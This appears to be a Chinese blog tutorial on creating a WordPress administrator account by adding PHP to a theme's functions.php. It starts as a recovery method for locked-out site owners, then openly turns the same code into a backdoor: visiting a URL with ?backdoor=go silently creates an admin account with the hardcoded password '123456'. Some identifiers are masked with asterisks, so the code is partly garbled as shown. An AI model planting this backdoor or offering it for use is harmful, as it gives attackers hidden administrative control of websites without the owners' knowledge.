有些站长会面对忘记登录**的情况,如果连登录名或者邮件地址都忘记了就比较麻烦了,我们可以直接新建一个***账号来解决这个问题。那么如何实现不登录WordPress后台直接新建***账号?
可以通过FTP,将下面代码添加到当前主题函数模板functions.php中,然后刷新页面会新建一个***账号:
// 新建一个管理账号
$user_e**il = ‘123@123.com’;
$user_password = ‘123456’;
if ( !usern**e_exists( $user_e**il ) ) {
$user_id = wp_create_user( $user_e**il, $user_password, $user_e**il );
wp_update_user( array( ‘ID’ => $user_id, ‘nickn**e’ => $user_e**il ) );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
wp_***( ‘添加用户成功!’ );
} else {
wp_***( ‘该用户已经存在,用后请移除本代码!’ );
}
修改其中的邮件地址和**,用后请移除本代码。
登录新建的***账号,修改原来账号的**或者直接删除原来的账号。
这段代码还有一个不可告人的功能,稍微改一下,变成后门。
if ($_GET[‘backdoor’] == ‘go’) {
$user_e**il = ‘123@123.com’;
$user_password = ‘123456’;
if ( !usern**e_exists( $user_e**il ) ) {
$user_id = wp_create_user( $user_e**il, $user_password, $user_e**il );
wp_update_user( array( ‘ID’ => $user_id, ‘nickn**e’ => $user_e**il ) );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
wp_***( ‘添加用户成功!’ );
} else {
wp_***( ‘该用户已经存在,用后请移除本代码!’ );
}
}
只有打开一个特定的链接,比如:
ex**ple.com/?backdoor=go
才会运行这段代码,并新建管理账号。
暂无评论内容